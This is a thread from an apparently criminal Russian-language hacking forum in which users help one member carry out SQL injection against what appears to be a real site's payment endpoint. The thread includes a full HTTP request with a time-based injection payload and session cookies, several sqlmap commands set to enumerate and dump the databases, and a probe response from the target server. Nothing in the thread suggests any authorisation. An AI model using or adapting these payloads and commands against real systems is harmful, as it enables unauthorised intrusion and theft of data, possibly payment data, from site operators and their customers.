• XSS.stack #1 – первый литературный журнал от юзеров форума

помогите с sql инъекцией

Отслеживать
Хотя действие sqlmap может поднять админа с дивана и смотреть что там происходит, впринципе там окунь тебе подсказку дал, можно ручками проверить
 
c0d3x сказал(а):
Post a full request.
POST /maker/stripe/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referrer:
Cookie: CAMPAIGN=kvs2g9o4d0fi89rit72kaj9650; 544ngdhajpg6hrid1vl07a4mnf-agile-crm-guid=486f8fab-8b54-4f24-9f2c-b6c5db6770fc; 544ngdhajpg6hrid1vl07a4mnf-agile-crm-session_id=96b2dc4b-aa8d-6825-0ffe-9728e547646b; 544ngdhajpg6hrid1vl07a4mnf-agile-crm-session_start_time=2; twk_idm_key=r_EHv1VoKl8ggdRtW8APZ; TawkConnectionTime=0; APPYREWARD=q9a1p7p5985jg2jvk4hdrp5125
Content-Length: 257
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Host:
Connection: Keep-alive

amount=0&campaign=1&session_admin_company=0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z&session_continent=1&session_credit_fee=4111111111111111&session_language=EN&session_payment_fee=1&session_user_zoom_token=JCfUZQsq&user=d41d8cd98f00b204e9800998ecf8427e
 
Eronit сказал(а):
To reset what? This is time based sql injection, shove it into sqlmap and that's it)

Eronit сказал(а):
Для сброса чего? Это time based sql injection пихай в sqlmap и все)
i mean dumping data i put the link in sqlmap but its not working
 
baztaxx сказал(а):
POST /maker/stripe/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referrer:
Cookie: CAMPAIGN=kvs2g9o4d0fi89rit72kaj9650; 544ngdhajpg6hrid1vl07a4mnf-agile-crm-guid=486f8fab-8b54-4f24-9f2c-b6c5db6770fc; 544ngdhajpg6hrid1vl07a4mnf-agile-crm-session_id=96b2dc4b-aa8d-6825-0ffe-9728e547646b; 544ngdhajpg6hrid1vl07a4mnf-agile-crm-session_start_time=2; twk_idm_key=r_EHv1VoKl8ggdRtW8APZ; TawkConnectionTime=0; APPYREWARD=q9a1p7p5985jg2jvk4hdrp5125
Content-Length: 257
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Host:
Connection: Keep-alive

amount=0&campaign=1&session_admin_company=0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z&session_continent=1&session_credit_fee=4111111111111111&session_language=EN&session_payment_fee=1&session_user_zoom_token=JCfUZQsq&user=d41d8cd98f00b204e9800998ecf8427e
Код: 
sqlmap.py -u "https://site.com/maker/stripe/index.php" --data="amount=0&campaign=1&session_admin_company=0*&session_continent=1&session_credit_fee=4111111111111111&session_language=EN&session_payment_fee=1&session_user_zoom_token=JCfUZQsq&user=d41d8cd98f00b204e9800998ecf8427e" --dbs --dbms=MySQL --risk=3 --level=5 --random-agent

Try this. If there are problems write here.
 
c0d3x сказал(а):
Код: 
sqlmap.py -u "https://site.com/maker/stripe/index.php" --data="amount=0&campaign=1&session_admin_company=0*&session_continent=1&session_credit_fee=4111111111111111&session_language=EN&session_payment_fee=1&session_user_zoom_token=JCfUZQsq&user=d41d8cd98f00b204e9800998ecf8427e" --dbs --dbms=MySQL --risk=3 --level=5 --random-agent

Try this. If there are problems write here.
Capture.PNG

404
 
c0d3x сказал(а):
Код: 
sqlmap.py -u "https://site.com/maker/stripe/index.php" --data="amount=0&campaign=1&session_admin_company=0*&session_continent=1&session_credit_fee=4111111111111111&session_language=EN&session_payment_fee=1&session_user_zoom_token=JCfUZQsq&user=d41d8cd98f00b204e9800998ecf8427e" --dbs --dbms=MySQL --risk=3 --level=5 --random-agent

Try this. If there are problems write here.
я отправил вам сайт в приват
 
Сохрани запрос в файл.
sqlmap -r ~/file --level=3 --risk=3 -p parametr --technique=BETQUS --batch
Может нужно попробовать --tamper --time-sec и какой там тип бд --dbms=

Почитай:
github.com

Usage

Automatic SQL injection and database takeover tool - sqlmapproject/sqlmap
github.com
 
trixter сказал(а):
Save the request to a file.
sqlmap -r ~/file --level=3 --risk=3 -p parametr --technique=BETQUS --batch
Maybe you need to try --tamper --time-sec and what type of database is there --dbms=

Read:
github.com

Usage

Automatic SQL injection and database takeover tool - sqlmapproject/sqlmap
github.com
thank you
 
Код: 
HTTP/1.1 200 OK
Date: Thu, 07 Jul 2022 12:24:41 GMT
Server: Apache/2.2.22
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Original-Content-Encoding: gzip
Content-Length: 10

NO SESSION

Без сессии уязвимость не будет работать...
 
trixter сказал(а):
Код: 
HTTP/1.1 200 OK
Date: Thu, 07 Jul 2022 12:24:41 GMT
Server: Apache/2.2.22
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Original-Content-Encoding: gzip
Content-Length: 10

NO SESSION

Без сессии уязвимость не будет работать...
как добавить сессию?
 
c0d3x сказал(а):
Код: 
sqlmap.py -u "https://site.com/maker/stripe/index.php" --data="amount=0&campaign=1&session_admin_company=0*&session_continent=1&session_credit_fee=4111111111111111&session_language=EN&session_payment_fee=1&session_user_zoom_token=JCfUZQsq&user=d41d8cd98f00b204e9800998ecf8427e" --dbs --dbms=MySQL --risk=3 --level=5 --random-agent

Try this. If there are problems write here.
Поражаюсь тому во скольких сферах ты функционируешь👍
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх